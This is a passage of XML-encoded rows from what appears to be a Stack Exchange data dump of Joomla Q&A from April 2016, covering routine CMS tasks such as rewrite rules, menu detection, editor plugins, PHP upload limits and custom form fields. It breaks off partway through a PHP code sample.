  <row Id="15947" PostTypeId="2" ParentId="10735" CreationDate="2016-04-01T06:28:46.920" Score="0" Body="&lt;p&gt;You could use &#xA;1. htaccess redirect&#xA;2. default configuration for default article type&#xA;3. set a direct link via menu to form creation&lt;/p&gt;&#xA;" OwnerUserId="7714" LastActivityDate="2016-04-01T06:28:46.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15949" PostTypeId="2" ParentId="13891" CreationDate="2016-04-01T10:27:54.020" Score="1" Body="&lt;p&gt;According to default structure of components, modules, templates and plugin.. I'll suggest you to have only &lt;strong&gt;one folder&lt;/strong&gt; for css files and one for js files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway I think is better to have also &lt;strong&gt;only one css file to style everything&lt;/strong&gt;, because for browsers is better to load one single css file, even if is bigger than two different files, and reuse the cached version on every page instead of loading different resources.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-04-01T10:27:54.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15951" PostTypeId="1" CreationDate="2016-04-01T12:07:41.883" Score="2" ViewCount="447" Body="&lt;p&gt;I've copied all my Easyblog posts into com_content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I must add each comment (previously posted on EasyBlog posts) on the right article in Joomla (I am using Komento as comment component).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ID of the EasyBlog posts must be changed to the new articles ID created in com_content (column cid of the table).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best and simplest way to do this?&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-07-06T17:34:13.217" Title="How to move comments from EasyBlog to Joomla articles?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15953" PostTypeId="1" AcceptedAnswerId="15961" CreationDate="2016-04-01T13:07:05.030" Score="0" ViewCount="92" Body="&lt;p&gt;I got one question. I have setted up a multilanguage site and all is working great. Expect one thing (maybe its not possible):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got working links for the content like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.domain.de/en/link&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for Files its not working´, is it possible to have file urls's with prefixes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.domain.de/en/image.png &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(where the image is located of course in /images - without prefix)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THX for any info!&lt;/p&gt;&#xA;" OwnerDisplayName="user5421" LastActivityDate="2016-04-01T23:09:06.227" Title="Language Prefix URL also for files possible?" Tags="|joomla-3.x|language|sef|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15954" PostTypeId="2" ParentId="5207" CreationDate="2016-04-01T14:05:28.960" Score="0" Body="&lt;p&gt;Akeeba Backup works well. If you have a previous joomla site already installed in your root, be sure to delete the joomla folders in the root before you move the new site to the root or you may have stray incompatible templates, etc. left over from that previous version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also recommend going into your cpanel-&gt;myPHP admin and exporting your database for another layer of backup. The Akeeba backup file includes your database, so this is just a redundancy.&lt;/p&gt;&#xA;" OwnerUserId="8147" LastActivityDate="2016-04-01T14:05:28.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15955" PostTypeId="2" ParentId="15953" CreationDate="2016-04-01T14:54:25.900" Score="0" Body="&lt;p&gt;Pretty sure you would have to put the files in individual language directories separately as far as I know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IE) For english&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/en/images.PNG&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/en/images.PNG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For French&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/fr/images.PNG&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/fr/images.PNG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this via FTP on your server. Im sure there would many different approaches to solving this too.&lt;/p&gt;&#xA;" OwnerUserId="8130" LastActivityDate="2016-04-01T14:54:25.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15956" PostTypeId="2" ParentId="15951" CreationDate="2016-04-01T14:58:23.763" Score="0" Body="&lt;p&gt;You can do it by editing database tables.  Download the easyblog (jos_easyblog_articles) table and joomla article (jos_articles) tables. Insert the data from the easyblog tables into your joomla articles table then import the new joomla articles table into your database. &lt;/p&gt;&#xA;" OwnerUserId="8130" LastActivityDate="2016-04-01T14:58:23.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15958" PostTypeId="1" CreationDate="2016-04-01T21:48:11.670" Score="1" ViewCount="73" Body="&lt;p&gt;I'm trying to install a Joomla extension manually.  The ZIP file is too large to upload using the extension manager so my question is where do I upload the file on my server to install it manually using the Joomla extension manager?&lt;/p&gt;&#xA;" OwnerUserId="8130" LastActivityDate="2016-04-01T21:49:28.147" Title="Where do I upload a Joomla extension when trying to install it manually?" Tags="|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15959" PostTypeId="2" ParentId="15958" CreationDate="2016-04-01T21:49:28.147" Score="2" Body="&lt;p&gt;Normally the best place to FTP upload the extension's ZIP file is in the /public_html/tmp folder on your server. However you can customise the location however you wish and point the extension manager to install from any location on your server.&lt;/p&gt;&#xA;" OwnerUserId="8130" LastActivityDate="2016-04-01T21:49:28.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15960" PostTypeId="1" CreationDate="2016-04-01T22:46:01.673" Score="0" ViewCount="849" Body="&lt;p&gt;I've searched around, but I can't find how to do this. I'd like to add an extension to the wysiwig editor in Joomla. I'm writing a calendar plugin, and I'd like to have a dialog that would help the user construct the short code to insert into the article/page/module content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do in another CMS is hook the editor so when they click on my button, a dialog appears that helps them select which short code, and set the various options. Then, when they click on OK, I insert the shortcode into the content. If anyone could point me to a web page or article on how to do this, I would be really appreciative.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-04-02T11:03:07.223" Title="How do I create an Editor Add-In?" Tags="|joomla-3.x|development|plugin|editor|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15961" PostTypeId="2" ParentId="15953" CreationDate="2016-04-01T23:09:06.227" Score="0" Body="&lt;p&gt;With Apache2 server, you may add this rule&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^[a-z]{2}/((.*).(png|jpg|gif))$  /images/$1 [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may fiddle around with rewrite rule sets here: &lt;a href=&quot;/http://martinmelin.se/rewrite-rule-tester&quot;&gt;http://martinmelin.se/rewrite-rule-tester&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2016-04-01T23:09:06.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15962" PostTypeId="1" AcceptedAnswerId="15963" CreationDate="2016-04-02T07:21:12.377" Score="1" ViewCount="492" Body="&lt;p&gt;I am assigning a php module on different menus on my Joomla website, but I want the module to show different data when loaded on different menu pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example : There is parent menu &lt;strong&gt;Home&lt;/strong&gt;  and three sub-menus, &lt;strong&gt;Sub-menu1&lt;/strong&gt;, &lt;strong&gt;Sub-menu2&lt;/strong&gt; and &lt;strong&gt;Sub-menu3&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When user browses &lt;strong&gt;sub-menu1&lt;/strong&gt; page, the module should load &quot;Welcome to &lt;strong&gt;Sub-menu1&lt;/strong&gt;&quot; and when the user is on &lt;strong&gt;sub-menu2&lt;/strong&gt; page, the module should load &quot;Welcome to &lt;strong&gt;sub-menu2&lt;/strong&gt;&quot; and so on. I have around 200 sub-menu pages on my Joomla website and I don't want to assign 200 individual php modules for them.&#xA;I guess it would require an &lt;strong&gt;IF/ELSE condition&lt;/strong&gt; but are there any specific ID's allotted to the Joomla menus? If yes, how can I retrieve the data (&lt;strong&gt;&lt;em&gt;menu IDs&lt;/em&gt;&lt;/strong&gt;) while loading the module and use the IF/ELSE condition?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;P.S&lt;/em&gt; I have already imported the &lt;strong&gt;Joomla CMS&lt;/strong&gt; (Joomla 3.4.8) using this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/' ));  &#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;$app = JFactory::getApplication('site');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2016-04-02T12:29:31.100" Title="How to detect whether the user is on a specific menu?" Tags="|joomla-3.x|menu-item|menu|custom-module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15963" PostTypeId="2" ParentId="15962" CreationDate="2016-04-02T08:16:42.123" Score="3" Body="&lt;p&gt;You can use the following to display the desired message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app   = JFactory::getApplication(); exist&#xA;$menu  = $app-&amp;gt;getMenu();&#xA;$title = $menu-&amp;gt;getActive()-&amp;gt;title;&#xA;&#xA;echo 'Welcome to ' . $title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-02T08:16:42.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15965" PostTypeId="2" ParentId="15960" CreationDate="2016-04-02T11:03:07.223" Score="2" Body="&lt;p&gt;Depending on the Editor there are several ways to extend the editor in Joomla — I'm going to assume you're talking about &lt;code&gt;editors-xtd&lt;/code&gt; plugins. These are the buttons found below the main editor area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a shortage of documentatoin on creating them so, as suggested, the best bet will be to look at existing editor extensions — I would start with the standard ones installed by default with Joomla. You can find the source code for them in the &lt;code&gt;/plugins/editors-xtd/&lt;/code&gt; directory of your Joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find currently available ones listed on the &lt;a href=&quot;http://extensions.joomla.org/tags/editor-buttons&quot; rel=&quot;nofollow&quot;&gt;Joomla Extension Directory here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;editor-xtd&lt;/code&gt; plugins are like standard plugins so start with the &lt;a href=&quot;https://docs.joomla.org/Plugin_Developer_Overview&quot; rel=&quot;nofollow&quot;&gt;Plugin Developer Overview article&lt;/a&gt; on &lt;a href=&quot;https://docs.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;Joomla Docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main things to remember are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the plugin group is defined in the plugins XML file as &lt;code&gt;group=&quot;editors-xtd&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;the event triggered to display your custom button is &lt;code&gt;onDisplay()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As it sounds the &lt;code&gt;onDisplay()&lt;/code&gt; method is where you return the do all the prep for the button (like assembling the HTML of the button). The &lt;code&gt;onDisplay()&lt;/code&gt; method should end with you return that html...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $html;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously in that &lt;code&gt;$html&lt;/code&gt; you can specify Javascript events to be triggered by clicking on the button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To load the Javascript into the page you should use Joomla's standard approaches in your plugins PHP file:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the current document&#xA;$doc = JFactory::getDocument();&#xA;&#xA;// Build your Javascript&#xA;$js = '...'&#xA;&#xA;// Add it to the document as script block&#xA;$doc-&amp;gt;addScriptDeclaration($js);&#xA;&#xA;// Or if you have a lot of JS, it's probably best in it's own file…&#xA;$jsFile = '/path/to/js/file.js';&#xA;&#xA;// Add the link to the doc's head…&#xA;$doc-&amp;gt;addScript($jsFile);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are other methods Joomla provides to get and set the content of the editor, save it and to get the name of a method to insert text at the current cursor position in the editor.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2016-04-02T11:03:07.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15966" PostTypeId="2" ParentId="15962" CreationDate="2016-04-02T12:29:31.100" Score="0" Body="&lt;p&gt;Use the input given to the application that ultimately controls which page is displayed and therefore which sub-menu is shown&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may not be the &quot;Joomla&quot; way to do things I am relatively new to Joomla  anyway use the:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Object documentation on this JInput object can be found on the Joomla document site but if in doubt there are your standard php debugging tools like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump($var)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7962" LastActivityDate="2016-04-02T12:29:31.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15967" PostTypeId="2" ParentId="2212" CreationDate="2016-04-02T14:42:06.223" Score="2" Body="&lt;p&gt;I was having the same issue when I redesigned a site for a client. I built the site on my server and transferred it to theirs. I couldn't figure out why this one alias (services) wouldn't work. If I changed it to &quot;our services&quot; or anything else, it worked fine, but I really wanted to keep the same structure as I originally set up. In this case, it turned out that there was an old file, &quot;services.html&quot; that was still in the home directory. I simply deleted that, and all worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, from past experience, I know this error can happen when there is a &quot;trashed&quot; menu item with the alias you're trying to use. Trashed menu items are usually hidden by default, so it's easy to miss.&lt;/p&gt;&#xA;" OwnerUserId="8153" LastActivityDate="2016-04-02T14:42:06.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15968" PostTypeId="1" AcceptedAnswerId="15972" CreationDate="2016-04-02T21:04:55.723" Score="4" ViewCount="80" Body="&lt;p&gt;We all know that Joomla, since v3.2 offers content versioning, by means of saving previous copies of articles while editing them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Content | Articles | Options | Editing Layout tab we have following option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/esLcG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/esLcG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to Enable Versions (default disabled) and Maximum number of them (default 10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was searching the Net high and low, but was unable to find any reference to how much will database space increase by enabling Article Versions? My educated guess would be article HTML size in bytes (character count) multiplied by number of saved versions (up to max number) multiplied by number of articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know exactly how much database space will be taken by content revisions?&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-04-03T11:10:07.147" LastActivityDate="2016-04-03T11:44:24.790" Title="How Much Database Space do Content Revisions take up?" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15972" PostTypeId="2" ParentId="15968" CreationDate="2016-04-03T11:44:24.790" Score="4" Body="&lt;p&gt;The way I see it, there is no exact answer to your Q, because equation has variables of unknown values. Article's character counts differ from article to article, and number of saved copies is different for each article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mathematicaly speaking, I would opt for median statistic value of:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;xx_content table size in bytes × 5&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5 being median number of content revisions for all articles alltogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending of total size of all articles, it might sum up pretty high.&lt;/p&gt;&#xA;" OwnerDisplayName="user8036" LastActivityDate="2016-04-03T11:44:24.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15973" PostTypeId="1" CreationDate="2016-04-03T15:43:49.953" Score="5" ViewCount="1149" Body="&lt;p&gt;I've read the &lt;code&gt;Exception&lt;/code&gt; methods in order to replace the deprecated &lt;code&gt;JError&lt;/code&gt;, but I can't solve the following problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a plugin that redirects an user to a login page in case he/she tries to access a page that is for a logged-in user (instead of getting the message &quot;You are not authorised to view this resource.&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It used to work when JError was still around (before J3), the code was like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error::setErrorHandling(E_ERROR, 'callback', array(&#xA;    'plgSystemCustom_Redirects',&#xA;    'handleError'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the rest of the script I had the &lt;code&gt;handleError&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My doubt here is (unlike any other examples that I've read) how to catch the error (I'm not able to issue a &lt;code&gt;try&lt;/code&gt;); in other words, how to replace the deprecated code with something that works in Joomla 3.5?&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="38" LastEditDate="2016-04-03T16:21:30.403" LastActivityDate="2016-04-18T11:24:26.727" Title="How to catch an error in Joomla 3.5 (alternative to JError)" Tags="|joomla-3.5|jerror|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15974" PostTypeId="1" CreationDate="2016-04-03T15:49:10.470" Score="1" ViewCount="2204" Body="&lt;p&gt;As I try to install &lt;a href=&quot;http://www.joomprod.com/products/classified-ads.html&quot; rel=&quot;nofollow&quot;&gt;AdsManager&lt;/a&gt; extension through Upload Package File option, getting the Error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;There was an error uploading this file to the server.&#xA;Maximum PHP file upload size is too small: This is set in php.ini in both upload_max_filesize and post_max_size settings of your PHP settings (located in php.ini and/or .htaccess file).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to edit php.ini settings as instructed above or is there a quicker, better way to download this extension?&lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="7394" LastEditDate="2020-05-14T22:04:05.287" LastActivityDate="2020-05-14T22:04:05.287" Title="Error installing AdsManager Extension: Maximum PHP file upload size is too small" Tags="|extensions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15975" PostTypeId="1" AcceptedAnswerId="18014" CreationDate="2016-04-03T16:41:32.177" Score="1" ViewCount="45" Body="&lt;p&gt;I've used the &lt;code&gt;?tmpl=scriptnamewithoutextension&lt;/code&gt; (where the &lt;code&gt;scriptnamewithoutextension&lt;/code&gt; is a php file stored in the template used) for a very long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started using Joomla 3.5 and it no longer works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows why, and how to make it work again? (or an alternative).&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2016-09-29T08:59:08.330" Title="?tmpl=scriptname no longer works in Joomla 3.5?" Tags="|joomla-3.5|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15976" PostTypeId="2" ParentId="15973" CreationDate="2016-04-03T19:20:31.483" Score="0" Body="&lt;p&gt;Since Joomla 2.5 and in Joomla 3.5, you can use the mothods descripted in &lt;a href=&quot;https://docs.joomla.org/Auto_redirect_guests_to_login&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Auto_redirect_guests_to_login&lt;/a&gt; to manage your feature, there is no need to add a plugin!&#xA;I use this at my site &lt;a href=&quot;https://www.loytec.com&quot; rel=&quot;nofollow&quot;&gt;https://www.loytec.com&lt;/a&gt;, see Menu Support&gt;ProductReturn(RMA) &lt;a href=&quot;https://www.loytec.com/support-en/rma&quot; rel=&quot;nofollow&quot;&gt;https://www.loytec.com/support-en/rma&lt;/a&gt; with Joomla Core tools only.&lt;/p&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2016-04-03T19:20:31.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15977" PostTypeId="1" CreationDate="2016-04-03T19:22:55.970" Score="2" ViewCount="985" Body="&lt;p&gt;My goal is to let user possibility to login using only password. There is any available plugin or module for that? I had a problem to find it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks &lt;/p&gt;&#xA;" OwnerUserId="7629" LastActivityDate="2016-04-04T01:53:53.940" Title="User login only by password" Tags="|joomla-3.x|login|account-password|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15979" PostTypeId="1" AcceptedAnswerId="15984" CreationDate="2016-04-03T22:37:31.283" Score="1" ViewCount="155" Body="&lt;p&gt;This is a hard question I know that. But i hope someone somehow have the answer for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you login the fronted in Joomla, and press &quot;edit article&quot; and you can se the tabs which are &quot;Content&quot; &quot;Public&quot;  &quot;Language&quot; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &quot;Public&quot; there is the category textfield. i want to move that to the &quot;Content&quot; tab. is it possible somehow? I was thinking its maybe inside the article.xml file but im not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Components --&gt; Com_content --&gt; Models --&gt; Forms --&gt; article.xml &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But im not sure how to do it. Anyone can have a look?&lt;/p&gt;&#xA;" OwnerUserId="6918" LastActivityDate="2016-04-04T11:55:46.760" Title="Moving &quot;Category&quot; to the &quot;Content&quot; in the Frontend Edit" Tags="|joomla-3.x|front-end|editing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15980" PostTypeId="2" ParentId="15974" CreationDate="2016-04-03T23:02:52.347" Score="2" Body="&lt;p&gt;You can try with one of this options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you have access to your &lt;strong&gt;php.ini&lt;/strong&gt;, change the values and restart your webserver:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;upload_max_filesize=64M&lt;br/&gt; &#xA;post_max_size=64M&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can increase this value &lt;br/&gt;&#xA;&lt;strong&gt;max_execution_time=300&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you don't have access to this file, you can add this values in your &lt;strong&gt;.htaccess&lt;/strong&gt; file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;php_value upload_max_filesize 64M&lt;br/&gt;&#xA;php_value post_max_size 64M&lt;br/&gt;&#xA;php_value max_execution_time 300&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2016-04-03T23:15:10.313" LastActivityDate="2016-04-03T23:15:10.313" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15981" PostTypeId="2" ParentId="15974" CreationDate="2016-04-04T01:18:25.777" Score="2" Body="&lt;p&gt;&lt;strong&gt;Install from Folder Installation Method&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If unable to update the PHP limitations via php.ini or .htaccess, an alternative install method is to expand the extension installation file into a folder on your local machine e.g. &lt;code&gt;/adsmanager&lt;/code&gt; and then upload this folder via FTP to the &lt;code&gt;/tmp&lt;/code&gt; or similar folder in your Joomla install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;code&gt;Extensions -&amp;gt; Manage -&amp;gt; Install&lt;/code&gt; in the back-end, click on the &quot;Install from Folder&quot; tab, enter the location of your install folder and click on &quot;Install&quot; as in the following example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5e4GO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5e4GO.jpg&quot; alt=&quot;Install from Folder&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-04-04T02:09:43.957" LastActivityDate="2016-04-04T02:09:43.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15982" PostTypeId="2" ParentId="15977" CreationDate="2016-04-04T01:53:53.940" Score="2" Body="&lt;p&gt;&lt;strong&gt;Content Password Plugin&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;http://progandy.de/contentpassword.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Content Password&lt;/a&gt; plugin worked well to password protect content on a Joomla page but unfortunately was not updated by the developer for newer versions of Joomla.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, it looks like someone has resurrected the project for Joomla 3.x at: &lt;a href=&quot;https://github.com/projoomexperts/Joomla-Content-Password-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/projoomexperts/Joomla-Content-Password-3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JLex Block&lt;/strong&gt; from $29&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-access/jlex-block&quot; rel=&quot;nofollow noreferrer&quot;&gt;JLex Block&lt;/a&gt; can &amp;quot;Set a password for any number of page or elements on page.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;.htaccess/.htpasswd Password Protection&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You may be able to password protect a Joomla page using .htaccess and .htpasswd. See &lt;a href=&quot;https://stackoverflow.com/q/14603568/1983389&quot;&gt;https://stackoverflow.com/q/14603568/1983389&lt;/a&gt; for some options.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-04-04T01:53:53.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15983" PostTypeId="2" ParentId="15934" CreationDate="2016-04-04T07:10:23.340" Score="3" Body="&lt;p&gt;As said in comment, I would extend &lt;code&gt;JFormFieldColor&lt;/code&gt; and override &lt;code&gt;getInput&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it turned out, Joomla! current jQuery minicolor plugin is outdated, so you should include your own. There is &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/7602&quot; rel=&quot;nofollow&quot;&gt;PR&lt;/a&gt; for improving it and allowing opacity picker. Until it's not merged and published with new version, you should use below code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use it likes this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;   name=&quot;color&quot; &#xA;   type=&quot;minicolor&quot;&#xA;   label=&quot;Choose color&quot;&#xA;   format=&quot;rgb&quot;&#xA;   opacity=&quot;0.5&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;minicolor.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Custom Joomla! form field to generate minicolors input with optional opacity slider&#xA; *&#xA; * NOTE: replace PATH_TO_CUSTOM_MINICOLORS with path to minicolors files. See below.&#xA; */&#xA;&#xA;// Check to ensure this file is included in Joomla!&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;JFormHelper::loadFieldClass('color');&#xA;&#xA;class JFormFieldMinicolor extends JFormFieldColor {&#xA;&#xA;  protected $type = 'Minicolor';&#xA;&#xA;  /**&#xA;   * Method to get the field input markup.&#xA;   *&#xA;   * @return  string  The field input markup.&#xA;   *&#xA;   * @since   11.3&#xA;   */&#xA;  protected function getInput()&#xA;  {&#xA;    // Translate placeholder text&#xA;    $hint = $this-&amp;gt;translateHint ? JText::_($this-&amp;gt;hint) : $this-&amp;gt;hint;&#xA;&#xA;    // Control value can be: hue (default), saturation, brightness, wheel&#xA;    $control = $this-&amp;gt;control;&#xA;&#xA;    // Valid options are hex and rgb.&#xA;    $format  = $this-&amp;gt;element['format'];&#xA;&#xA;    // Set to 